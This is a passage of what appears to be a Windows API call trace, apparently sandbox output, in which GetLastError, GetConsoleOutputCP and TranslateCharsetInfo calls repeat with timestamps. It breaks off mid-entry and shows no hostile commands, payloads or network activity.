[0257.330] GetLastError () returned 0x0 [0257.330] GetConsoleOutputCP () returned 0x1b5 [0257.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.330] GetLastError () returned 0x0 [0257.330] GetConsoleOutputCP () returned 0x1b5 [0257.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.330] GetLastError () returned 0x0 [0257.330] GetConsoleOutputCP () returned 0x1b5 [0257.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.330] GetLastError () returned 0x0 [0257.330] GetConsoleOutputCP () returned 0x1b5 [0257.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.330] GetLastError () returned 0x0 [0257.330] GetConsoleOutputCP () returned 0x1b5 [0257.330] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.330] GetLastError () returned 0x0 [0257.330] GetConsoleOutputCP () returned 0x1b5 [0257.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.331] GetLastError () returned 0x0 [0257.331] GetConsoleOutputCP () returned 0x1b5 [0257.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.331] GetLastError () returned 0x0 [0257.331] GetConsoleOutputCP () returned 0x1b5 [0257.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.331] GetLastError () returned 0x0 [0257.331] GetConsoleOutputCP () returned 0x1b5 [0257.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.331] GetLastError () returned 0x0 [0257.331] GetConsoleOutputCP () returned 0x1b5 [0257.331] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.331] GetLastError () returned 0x0 [0257.331] GetConsoleOutputCP () returned 0x1b5 [0257.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.332] GetLastError () returned 0x0 [0257.332] GetConsoleOutputCP () returned 0x1b5 [0257.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.332] GetLastError () returned 0x0 [0257.332] GetConsoleOutputCP () returned 0x1b5 [0257.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.332] GetLastError () returned 0x0 [0257.332] GetConsoleOutputCP () returned 0x1b5 [0257.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.332] GetLastError () returned 0x0 [0257.332] GetConsoleOutputCP () returned 0x1b5 [0257.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.332] GetLastError () returned 0x0 [0257.332] GetConsoleOutputCP () returned 0x1b5 [0257.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.333] GetLastError () returned 0x0 [0257.333] GetConsoleOutputCP () returned 0x1b5 [0257.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.333] GetLastError () returned 0x0 [0257.333] GetConsoleOutputCP () returned 0x1b5 [0257.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.333] GetLastError () returned 0x0 [0257.333] GetConsoleOutputCP () returned 0x1b5 [0257.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.333] GetLastError () returned 0x0 [0257.333] GetConsoleOutputCP () returned 0x1b5 [0257.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.333] GetLastError () returned 0x0 [0257.333] GetConsoleOutputCP () returned 0x1b5 [0257.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.333] GetLastError () returned 0x0 [0257.333] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.334] GetLastError () returned 0x0 [0257.334] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.334] GetLastError () returned 0x0 [0257.334] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.334] GetLastError () returned 0x0 [0257.334] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.334] GetLastError () returned 0x0 [0257.334] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.334] GetLastError () returned 0x0 [0257.334] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.334] GetLastError () returned 0x0 [0257.334] GetConsoleOutputCP () returned 0x1b5 [0257.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.335] GetConsoleOutputCP () returned 0x1b5 [0257.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.335] GetConsoleOutputCP () returned 0x1b5 [0257.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.335] GetConsoleOutputCP () returned 0x1b5 [0257.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.335] GetConsoleOutputCP () returned 0x1b5 [0257.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.335] GetConsoleOutputCP () returned 0x1b5 [0257.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.335] GetConsoleOutputCP () returned 0x1b5 [0257.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.335] GetLastError () returned 0x0 [0257.336] GetConsoleOutputCP () returned 0x1b5 [0257.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.336] GetLastError () returned 0x0 [0257.336] GetConsoleOutputCP () returned 0x1b5 [0257.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.336] GetLastError () returned 0x0 [0257.336] GetConsoleOutputCP () returned 0x1b5 [0257.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.336] GetLastError () returned 0x0 [0257.336] GetConsoleOutputCP () returned 0x1b5 [0257.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.336] GetLastError () returned 0x0 [0257.336] GetConsoleOutputCP () returned 0x1b5 [0257.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.336] GetLastError () returned 0x0 [0257.336] GetConsoleOutputCP () returned 0x1b5 [0257.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.336] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.337] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.337] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.337] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.337] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.337] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.337] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.337] GetLastError () returned 0x0 [0257.337] GetConsoleOutputCP () returned 0x1b5 [0257.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.338] GetLastError () returned 0x0 [0257.338] GetConsoleOutputCP () returned 0x1b5 [0257.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.338] GetLastError () returned 0x0 [0257.338] GetConsoleOutputCP () returned 0x1b5 [0257.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.338] GetLastError () returned 0x0 [0257.338] GetConsoleOutputCP () returned 0x1b5 [0257.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.338] GetLastError () returned 0x0 [0257.338] GetConsoleOutputCP () returned 0x1b5 [0257.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.338] GetLastError () returned 0x0 [0257.338] GetConsoleOutputCP () returned 0x1b5 [0257.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.338] GetLastError () returned 0x0 [0257.338] GetConsoleOutputCP () returned 0x1b5 [0257.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.339] GetLastError () returned 0x0 [0257.339] GetConsoleOutputCP () returned 0x1b5 [0257.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.339] GetLastError () returned 0x0 [0257.339] GetConsoleOutputCP () returned 0x1b5 [0257.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.339] GetLastError () returned 0x0 [0257.339] GetConsoleOutputCP () returned 0x1b5 [0257.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.339] GetLastError () returned 0x0 [0257.339] GetConsoleOutputCP () returned 0x1b5 [0257.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.339] GetLastError () returned 0x0 [0257.339] GetConsoleOutputCP () returned 0x1b5 [0257.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.339] GetLastError () returned 0x0 [0257.339] GetConsoleOutputCP () returned 0x1b5 [0257.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.340] GetLastError () returned 0x0 [0257.340] GetConsoleOutputCP () returned 0x1b5 [0257.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.340] GetLastError () returned 0x0 [0257.340] GetConsoleOutputCP () returned 0x1b5 [0257.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.340] GetLastError () returned 0x0 [0257.340] GetConsoleOutputCP () returned 0x1b5 [0257.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.340] GetLastError () returned 0x0 [0257.340] GetConsoleOutputCP () returned 0x1b5 [0257.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.340] GetLastError () returned 0x0 [0257.340] GetConsoleOutputCP () returned 0x1b5 [0257.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.340] GetLastError () returned 0x0 [0257.340] GetConsoleOutputCP () returned 0x1b5 [0257.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.341] GetLastError () returned 0x0 [0257.341] GetConsoleOutputCP () returned 0x1b5 [0257.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.341] GetLastError () returned 0x0 [0257.341] GetConsoleOutputCP () returned 0x1b5 [0257.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.341] GetLastError () returned 0x0 [0257.341] GetConsoleOutputCP () returned 0x1b5 [0257.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.341] GetLastError () returned 0x0 [0257.341] GetConsoleOutputCP () returned 0x1b5 [0257.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.342] GetLastError () returned 0x0 [0257.342] GetConsoleOutputCP () returned 0x1b5 [0257.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.342] GetLastError () returned 0x0 [0257.342] GetConsoleOutputCP () returned 0x1b5 [0257.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.342] GetLastError () returned 0x0 [0257.342] GetConsoleOutputCP () returned 0x1b5 [0257.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.342] GetLastError () returned 0x0 [0257.342] GetConsoleOutputCP () returned 0x1b5 [0257.342] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.342] GetLastError () returned 0x0 [0257.342] GetConsoleOutputCP () returned 0x1b5 [0257.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.343] GetLastError () returned 0x0 [0257.343] GetConsoleOutputCP () returned 0x1b5 [0257.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.343] GetLastError () returned 0x0 [0257.343] GetConsoleOutputCP () returned 0x1b5 [0257.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.343] GetLastError () returned 0x0 [0257.343] GetConsoleOutputCP () returned 0x1b5 [0257.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.343] GetLastError () returned 0x0 [0257.343] GetConsoleOutputCP () returned 0x1b5 [0257.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.343] GetLastError () returned 0x0 [0257.343] GetConsoleOutputCP () returned 0x1b5 [0257.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.343] GetLastError () returned 0x0 [0257.343] GetConsoleOutputCP () returned 0x1b5 [0257.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.344] GetLastError () returned 0x0 [0257.344] GetConsoleOutputCP () returned 0x1b5 [0257.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.344] GetLastError () returned 0x0 [0257.344] GetConsoleOutputCP () returned 0x1b5 [0257.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.344] GetLastError () returned 0x0 [0257.344] GetConsoleOutputCP () returned 0x1b5 [0257.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.344] GetLastError () returned 0x0 [0257.344] GetConsoleOutputCP () returned 0x1b5 [0257.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.344] GetLastError () returned 0x0 [0257.344] GetConsoleOutputCP () returned 0x1b5 [0257.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.344] GetLastError () returned 0x0 [0257.344] GetConsoleOutputCP () returned 0x1b5 [0257.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.345] GetLastError () returned 0x0 [0257.345] GetConsoleOutputCP () returned 0x1b5 [0257.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.345] GetLastError () returned 0x0 [0257.345] GetConsoleOutputCP () returned 0x1b5 [0257.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.345] GetLastError () returned 0x0 [0257.345] GetConsoleOutputCP () returned 0x1b5 [0257.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.345] GetLastError () returned 0x0 [0257.345] GetConsoleOutputCP () returned 0x1b5 [0257.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.345] GetLastError () returned 0x0 [0257.345] GetConsoleOutputCP () returned 0x1b5 [0257.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.346] GetLastError () returned 0x0 [0257.346] GetConsoleOutputCP () returned 0x1b5 [0257.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.346] GetLastError () returned 0x0 [0257.346] GetConsoleOutputCP () returned 0x1b5 [0257.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.346] GetLastError () returned 0x0 [0257.346] GetConsoleOutputCP () returned 0x1b5 [0257.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.346] GetLastError () returned 0x0 [0257.346] GetConsoleOutputCP () returned 0x1b5 [0257.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.346] GetLastError () returned 0x0 [0257.346] GetConsoleOutputCP () returned 0x1b5 [0257.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.347] GetLastError () returned 0x0 [0257.347] GetConsoleOutputCP () returned 0x1b5 [0257.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.347] GetLastError () returned 0x0 [0257.347] GetConsoleOutputCP () returned 0x1b5 [0257.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.347] GetLastError () returned 0x0 [0257.347] GetConsoleOutputCP () returned 0x1b5 [0257.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.347] GetLastError () returned 0x0 [0257.347] GetConsoleOutputCP () returned 0x1b5 [0257.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.347] GetLastError () returned 0x0 [0257.347] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.348] GetLastError () returned 0x0 [0257.348] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.348] GetLastError () returned 0x0 [0257.348] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.348] GetLastError () returned 0x0 [0257.348] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.348] GetLastError () returned 0x0 [0257.348] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.348] GetLastError () returned 0x0 [0257.348] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.348] GetLastError () returned 0x0 [0257.348] GetConsoleOutputCP () returned 0x1b5 [0257.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.349] GetConsoleOutputCP () returned 0x1b5 [0257.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.349] GetConsoleOutputCP () returned 0x1b5 [0257.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.349] GetConsoleOutputCP () returned 0x1b5 [0257.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.349] GetConsoleOutputCP () returned 0x1b5 [0257.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.349] GetConsoleOutputCP () returned 0x1b5 [0257.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, 